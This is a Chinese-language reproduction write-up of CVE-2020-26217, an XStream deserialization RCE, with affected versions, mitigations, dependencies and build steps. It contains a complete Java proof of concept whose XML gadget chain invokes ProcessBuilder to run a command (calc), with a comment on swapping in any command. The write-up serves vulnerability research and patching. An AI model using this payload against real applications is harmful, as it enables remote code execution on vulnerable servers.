【漏洞復現】CVE-2020-26217 | XStream遠程代碼執行漏洞

寫在前面

影響范圍為XStream < 1.4.14,小版本也需要加黑名單，但是復現過程中只有所有常規版本和下圖紅標小版本復現成功：

另外還需要XPP3、xmlpull這兩個jar包，JDK9無法觸發成功。
復現過程中發現1.4.10及以上版本通過在使用fromXML方法前開啟默認安全配置：

XStream xStream = new XStream();
XStream.setupDefaultSecurity(xStream);    #開啟默認安全配置
String xml = ""
xStream.fromXML(xml);

來完成漏洞規避，經測試無法觸發漏洞，無需升級到1.4.14。
當然通過補充本次被繞過的黑名單：javax.imageio.ImageIO$ContainsFilter 也可以進行臨時防護，可參考官方說明中的Workaround部分：http://x-stream.github.io/CVE-2020-26217.html

准備環境

1.XStream Core
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.9</version>
</dependency>

2.XPP3
<!-- https://mvnrepository.com/artifact/org.ogce/xpp3 -->
<dependency>
    <groupId>org.ogce</groupId>
    <artifactId>xpp3</artifactId>
    <version>1.1.6</version>
</dependency>
3.xmlpull
<!-- https://mvnrepository.com/artifact/xmlpull/xmlpull -->
<dependency>
    <groupId>xmlpull</groupId>
    <artifactId>xmlpull</artifactId>
    <version>1.1.3.1</version>
</dependency>

根據官方說明編寫測試POC：

import com.thoughtworks.xstream.XStream;
public class vultest {
	public static void main(String[] args) {
		XStream xStream = new XStream();
		//XStream.setupDefaultSecurity(xStream);
		String xml = "<map>\n" +
				"  <entry>\n" +
				"    <jdk.nashorn.internal.objects.NativeString>\n" +
				"      <flags>0</flags>\n" +
				"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
				"        <dataHandler>\n" +
				"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
				"            <contentType>text/plain</contentType>\n" +
				"            <is class='java.io.SequenceInputStream'>\n" +
				"              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
				"                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
				"                  <iter class='java.util.ArrayList$Itr'>\n" +
				"                    <cursor>0</cursor>\n" +
				"                    <lastRet>-1</lastRet>\n" +
				"                    <expectedModCount>1</expectedModCount>\n" +
				"                    <outer-class>\n" +
				"                      <java.lang.ProcessBuilder>\n" +
				"                        <command>\n" +
				"                          <string>calc</string>\n" +                  #修改此處string來調用ProcessBuilder執行命令，此處以calc為例
				"                        </command>\n" +
				"                      </java.lang.ProcessBuilder>\n" +
				"                    </outer-class>\n" +
				"                  </iter>\n" +
				"                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
				"                    <method>\n" +
				"                      <class>java.lang.ProcessBuilder</class>\n" +
				"                      <name>start</name>\n" +
				"                      <parameter-types/>\n" +
				"                    </method>\n" +
				"                    <name>start</name>\n" +
				"                  </filter>\n" +
				"                  <next/>\n" +
				"                </iterator>\n" +
				"                <type>KEYS</type>\n" +
				"              </e>\n" +
				"              <in class='java.io.ByteArrayInputStream'>\n" +
				"                <buf></buf>\n" +
				"                <pos>0</pos>\n" +
				"                <mark>0</mark>\n" +
				"                <count>0</count>\n" +
				"              </in>\n" +
				"            </is>\n" +
				"            <consumed>false</consumed>\n" +
				"          </dataSource>\n" +
				"          <transferFlavors/>\n" +
				"        </dataHandler>\n" +
				"        <dataLen>0</dataLen>\n" +
				"      </value>\n" +
				"    </jdk.nashorn.internal.objects.NativeString>\n" +
				"    <string>test</string>\n" +
				"  </entry>\n" +
				"</map>";
		//final Iterator<?> iterator = (Iterator<?>) xStream.fromXML(xml);
		//iterator.hasNext();
		xStream.fromXML(xml);
	}

}

漏洞復現

1.編譯上述poc:
javac -cp xstream-1.4.13.jar vultest.java
2.運行驗證：
"C:\Program Files\Java\jre1.8.0_231\bin\java.exe" -classpath .;xstream-1.4.13.jar;xmlpull-1.1.3.1.jar;xpp3-1.1.6.jar vultest #JDK9測試無法觸發，1.8可以，故使用1.8來驗證

參考

[1]https://x-stream.github.io/CVE-2020-26217.html